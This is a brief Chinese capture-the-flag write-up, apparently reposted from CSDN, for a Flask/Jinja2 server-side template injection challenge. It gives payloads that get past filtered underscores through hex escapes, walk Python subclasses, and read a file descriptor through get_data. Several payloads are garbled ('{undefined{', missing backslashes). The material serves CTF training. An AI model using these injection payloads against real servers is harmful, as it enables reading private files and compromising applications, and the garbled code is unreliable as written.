1.测试存在ssti
2.获取类型所属的对象,后面显示被过滤了,看了大佬的文章_'.这三个被过滤了,但可以用十六进制绕过
3.寻找基类
4.寻找可用引用
{undefined{()["x5fx5fclassx5fx5f"]["x5fx5fbasesx5fx5f"][0]["x5fx5fsubclassesx5fx5f"]()}}
5.接下来就是开始一系列利用了(基础不是很好,后面的待填坑)一些大佬的方法:
①
②
{undefined{()["x5Fx5Fclassx5Fx5F"]["x5Fx5Fbasesx5Fx5F"][0]["x5Fx5Fsubclassesx5Fx5F"]()[91]["getx5Fdata"](0, "/proc/self/fd/3")}}
自己的一些总结:使用[]好像可以自动补.号
以下是等价的
{{"".__class__}}
{{""["x5fx5fclassx5fx5f"]}}
原文来自CSDN博主「qq_40800734」|侵删
![buuctf pasecactf_2019]flask_ssti-解题步骤详解 buuctf pasecactf_2019]flask_ssti-解题步骤详解](http://cn-sec.com/wp-content/uploads/2022/04/8-1651047478.png)
![buuctf pasecactf_2019]flask_ssti-解题步骤详解 buuctf pasecactf_2019]flask_ssti-解题步骤详解](http://cn-sec.com/wp-content/uploads/2022/04/3-1651047479.png)
原文始发于微信公众号(寰宇卫士):buuctf pasecactf_2019]flask_ssti-解题步骤详解
特别标注:
本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论